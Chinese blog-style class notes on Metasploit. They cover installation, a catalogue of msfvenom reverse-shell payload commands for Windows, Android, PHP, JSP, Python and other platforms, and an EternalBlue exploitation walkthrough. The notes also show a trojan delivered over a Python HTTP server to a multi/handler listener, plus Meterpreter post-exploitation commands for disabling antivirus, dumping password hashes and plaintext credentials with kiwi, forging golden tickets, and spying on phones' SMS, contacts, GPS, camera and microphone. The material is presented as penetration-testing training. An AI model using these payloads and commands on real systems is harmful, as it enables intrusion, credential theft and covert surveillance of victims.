MSF课堂笔记


前言

提示:这里可以添加本文要记录的大概内容:

当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了,因为只要掌握MSF的使用方法,每个人都可以使用MSF来攻击那些未打过补丁或者刚刚打过补丁的漏洞。


提示:以下是本篇文章正文内容,下面案例可供参考

一、MSF是什么?

Metasploit(MSF)是一个免费的、可下载的框架

它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。

二、MSF安装

1.Linux安装msf

1.1 直接安装kali系统
环境准备
vm虚拟机
Ubuntu桌面版镜像

打开终端 输入sudo su 获取root权限

sudo su

然后输入命令

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb

msfinstall

然后赋755权限 并执行安装

chmod 755 msfinstall && ./msfinstall

1.2 直接安装kali系统

第一种vm虚拟机 kali

第二种 iso安装镜像

首先咱们进入kali官网下载kali

https://www.kali.org/get-kali/#kali-bare-metal

1.3 kali更新msf

sudo su

vim /etc/apt/sources.list

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云kali更新源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#163 DEBIAN源
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib
deb http://mirrors.163.com/debian wheezy-proposed-updates main non-free contrib
deb-src http://mirrors.163.com/debian wheezy-proposed-updates main non-free contrib
deb-src http://mirrors.163.com/debian-security wheezy/updates main non-free contrib
在这里插入图片描述

1.4 如果更新时显示update无效的错误!
image.png

输入下面几个命令修复

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add

apt-get clean

apt-get update

如果报:E: Unmet dependencies. Try ‘apt --fix-broken install’ with no packages (or specify a solution).

apt --fix-broken install

2.Windows安装msf

2.1下载metasploit

首先咱们进入metasploit官网

https://www.metasploit.com/

image.png
点击 Download 下载

或者直接访问这个 地址

https://www.metasploit.com/download

进入这个页面 点击 Metasploit Framework 下面的 Download

image.png

会访问这个地址

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

如果你不能打开GitHub 我们可以通过镜像服务器 访问

https://hub.fastgit.org/rapid7/metasploit-framework/wiki/Nightly-Installers

image.png

这边给大家提供更多的国内可用镜像

#官网镜像(可以用来clone push等,但是不能登录)

https://github.com.cnpmjs.org/
https://git.sdut.me/

#github常用的镜像

https://hub.fastgit.org

https://git.sdut.me/

http://github-mirror.bugkiller.org/
#api镜像
https://api.git.sdut.me/

然后找到Windows版本的下载

点击 latest Windows installer 下载 最新版本

点击 view older builds 下载历史版本

image.png

2.2 安装metasploit并配置环境变量

安装前关闭win自带的杀毒 和卸载第三方杀毒

添加环境变量

C:\metasploit-framework\bin

2.3 启动并使用

首次启动 需要初始化数据库

msfdb init

启动MSF框架

msfconsole


3.msfvenom

3.1 常用参数
Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成后门木马。msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码。msfencode是MSF编码器。

-l
列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-p
指定需要使用的payload(攻击荷载)。

-f
指定输出格式

Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;

Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;

-e
指定需要使用的encoder(编码器)编码免杀。

-a
指定payload的目标架构

选择架构平台:x86 | x64 | x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o
保存payload文件输出。

-b
设定规避字符集,比如: '\x00\xff’避免使用的字符

-n
为payload预先指定一个NOP滑动长度

-s
设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。

-i
指定payload的编码次数

-c
指定一个附加的win32 shellcode文件

-x
指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-k
保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-v
指定一个自定义的变量,以确定输出格式

3.1 各个平台payload使用

Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe


Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho


Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk


Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1


Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf


php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php


aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx


JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp


war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war


nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js


python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py


perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl


ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb


lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua


windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


4.Msfconsole漏洞利用流程

漏洞利用分为 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 报告 这几个阶段

4.1.前期交互阶段:

与客户组织进行交互讨论,确定范围,目标等

​ 这个阶段大家可以理解为情报收集前阶段,主要是为了找到目标 确认范围

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jz1HlfM3-1665993266644)(10-11 msfconsole漏洞利用流程.assets/1643165117094.png)]

4.2.情报搜集阶段:

获取更多目标组织信息,

| 外围信息搜索 - Google

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iAPlz4jr-1665993266645)(10-11 msfconsole漏洞利用流程.assets/1643165139006.png)]

​ 主机探测与端口扫描 如 -Nmap

​ 服务扫描 利用metasploit中的auxiliary/scanner/中的服务扫描模块,可以对靶机中的服务版本等信息进行扫描

​ 网络漏洞扫描 -OpenVAS、Nessus等

​ 其他工具扫描 py脚本扫描

4.3.威胁建模阶段:

理清头绪,确定出最可行的漏洞利用通道,这个建模阶段写的文档不是给自己看的 是给整个团队看的 方便多人合作

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K2c7kNck-1665993266646)(10-11 msfconsole漏洞利用流程.assets/1643165166875.png)]

​ 这个阶段主要是根据收集到的情报进行整理 ,理清漏洞利用思路。

4.4.漏洞分析阶段:

搜索可获取的渗透代码资源

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eT1xtJOA-1665993266646)(10-11 msfconsole漏洞利用流程.assets/1643165182827.png)]

​ 这个阶段主要 挑选匹配可能存在的漏洞利用模块,shellcode

4.5渗透利用阶段:

找出安全漏洞,入侵系统

​ 这个阶段尝试利用漏洞 ,配置监控,开始漏洞利用

4.6.后渗透利用阶段:

Meterpreter,实施操作

​ 这个阶段 就开始实施相关数据下载 后门维持 提权等操作

4.7.报告阶段:

漏洞利用渗透测试报告 (详细报告编写看 渗透测试报告课程)

| 这个阶段主要是对本次渗透进行总结,概述总体上包括 时间、人员、漏洞利用范围、技术手段等等。我们需要在这部分确定漏洞利用执行的时间范围、参与漏洞利用的人员及联系方式、约定的漏洞利用范围和一些漏洞利用过程中采用的技术、工具描述。写清 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 漏洞利用结果 安全建议 等内容

在撰写的过程中,需要特别注意的是:漏洞描述切忌不可过于简单,一笔带过;在安全建议部分避免提出没有实际意义的安全建议,比如加强安全意识;报告结构混乱不堪,太多复杂的专业术语,比如绕狗、x站等等;

5.MSF实际操作(举例)

主机范围和目标已确定

5.1 情报搜集

基于msf发现内网存活主机

search 搜索 msf终端内输入

search scanner type:auxiliary

可用于发现主机的模块

auxiliary/scanner/discovery/arp_sweep # 基于ARP发现内网存活主机
auxiliary/scanner/discovery/udp_sweep # 基于UDP发现内网存活主机
auxiliary/scanner/ftp/ftp_version # 发现FTP服务
auxiliary/scanner/http/http_version # 发现HTTP服务
auxiliary/scanner/smb/smb_version # 基于smb发现内网存活主机

#基于netbios发现内网存活主机
#基于snmap发现内网存活主机
#基于ICMP发现内网存活主机

5.2 威胁建模


经过第一步情报收集 我们通过arp发现了 目标机器ip

然后通过对目标机器的ip扫描 我们知道了 目标机器开通了 80端口 有web服务 开了ftp端口 有文件服务

开了 smb

最终决定对smb相关的漏洞进行利用

备选方案通过植入木马的方式进行利用


5.3 漏洞分析

第一步先查看smb利用漏洞有哪些 比如永恒之蓝

1 查询msf与永恒之蓝相关的 模块使用命令

search ms17_010

2 然后我们利用了一个永恒之蓝的 扫描模块

use auxiliary/scanner/smb/smb_ms17_010

3 输入 options 查看扫描模块需要配置的参数

options

3.1 然后我们配置了rhost (rhost指的是目标主机ip)

set rhost ip

4 然后我们执行扫描 输入

run

发现了 可能存在漏洞的主机

5.4 渗透利用


1 加载 永恒之蓝漏洞利用模块

use exploit/windows/smb/ms17_010_eternalblue

2 输入 options 查看扫描模块需要配置的参数

options

3.1 然后我们配置了rhost (rhost指的是目标主机ip)

set rhost ip

3.2 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)

set lhost ip

3.3 然后我们配置了 lport (指的是监控的端口 )

set lport ip

注意端口必须没有被占用

4 然后我们执行扫描 输入

run

执行永恒之蓝漏洞利用

但是发现失败 提示 模块已经利用了 但是没有返回对应 session


6.备选方案通过植入木马的方式进行利用

1 我们知道目标机器是win系统 所以使用msfvenom 生成一个win平台的木马

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.3.33 LPORT=4446 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’
-i 10 -f exe -o payload.exe

2 漏洞生成后 通过启动一个py服务将木马上传到目标机器

python -m SimpleHTTPServer 80

3 配置监控程序我们使用了

use exploit/multi/handler

3 输入 options进入配置

options

3.1 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)

set lhost ip

3.2然后我们配置了 lport (指的是监控的端口 )

set lport ip

注意端口必须和msfvenom 生成的木马端口一样才行

4 配置攻击载荷 payload

set payload windows/meterpreter/reverse_tcp

5 执行利用等待目标机器执行木马

6 目标机器执行了木马

利用成功并获得meterpreter

5.5 后渗透利用

5.6 报告总结

7.Meterpreter

Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令!
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。

7.1Meterpreter中常用的反弹类型

reverse_tcp
这是一个基于TCP的反向链接反弹shell, 使用起来很稳定

7.2 Meterpreter的常用命令

1)基本命令

help
查看Meterpreter帮助

background
返回,把meterpreter后台挂起

bgkill
杀死一个 meterpreter 脚本

bglis
提供所有正在运行的后台脚本的列表

bgrun
作为一个后台线程运行脚本

channel
显示活动频道

sessions -i number
与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用

sesssions -k number
与会话进行交互

close
关闭通道

exit
终止 meterpreter 会话

quit
终止 meterpreter 会话

interact id
切换进一个信道

run
执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等

irb
进入 Ruby 脚本模式

read
从通道读取数据write# 将数据写入到一个通道

run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本

use
加载 meterpreter 的扩展

load/use
加载模块

Resource
执行一个已有的rc脚本

2 )常用命令

针对安卓手机的一些命令

获取手机通讯录: dump_contacts

获取短信记录:dump_sms

控制实验手机发短信:send_sms -d 15330252525 -t “hello”

获取实验手机GPS定位信息:geolocate

获取实验手机Wi-Fi定位信息:wlan_geolocate

控制实验手机录音:record_mic -d 5

获取实验手机相机设备:webcam_list

控制实验手机拍照 :webcam_snap

直播实验手机摄像头:webcam_stream

3) 针对Windows的一些命令

查看进程:ps

查看当前进程号:getpid

查看系统信息:sysinfo

查看目标机是否为虚拟机:run post/windows/gather/checkvm

查看完整网络设置:route

查看当前权限:getuid

自动提权:getsystem

关闭杀毒软件:run post/windows/manage/killav

启动远程桌面协议:run post/windows/manage/enable_rdp

列举当前登录的用户:run post/windows/gather/enum_logged_on_users

查看当前应用程序:run post/windows/gather/enum_applications

抓取目标机的屏幕截图:load espia ; screengrab

获取相机设备:webcam_list

控制拍照 :webcam_snap

直播摄像头:webcam_stream

控制录音:record_mic

查看当前处于目标机的那个目录:pwd

查看当前目录:getlwd

导出当前用户密码哈希 run hashdump

用户名:SID:LM哈希:NTLM哈希:::

也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump

抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin

直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)

首选终端输入 load kiwi 加载kiwi

creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

4)文件系统命令

cat c:\boot.ini
查看文件内容,文件必须存在

del c:\boot.ini
删除指定的文件

upload /root/Desktop/netcat.exe c:\
上传文件到目标机主上,如upload setup.exe C:\windows\system32

download nimeia.txt /root/Desktop/
下载文件到本机上如:download C:\boot.ini /root/或者download C:\“ProgramFiles”\Tencent\QQ\Users\295******125\Msg2.0.db /root/

edit c:\boot.ini
编辑文件

getlwd
打印本地目录

getwd
打印工作目录

lcd
更改本地目录

ls
列出在当前目录中的文件列表

lpwd
打印本地目录

pwd
输出工作目录

cd c:\
进入目录文件下

rm file
删除文件

mkdir dier
在受害者系统上的创建目录

rmdir
受害者系统上删除目录

dir
列出目标主机的文件和文件夹信息

mv
修改目标主机上的文件名

search -d d:\www -f web.config
search 文件,如search -d c:\ -f*.doc

meterpreter > search -f autoexec.bat
搜索文件meterpreter > search -f sea*.bat c:\xamp\

enumdesktops
用户登录数


总结

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值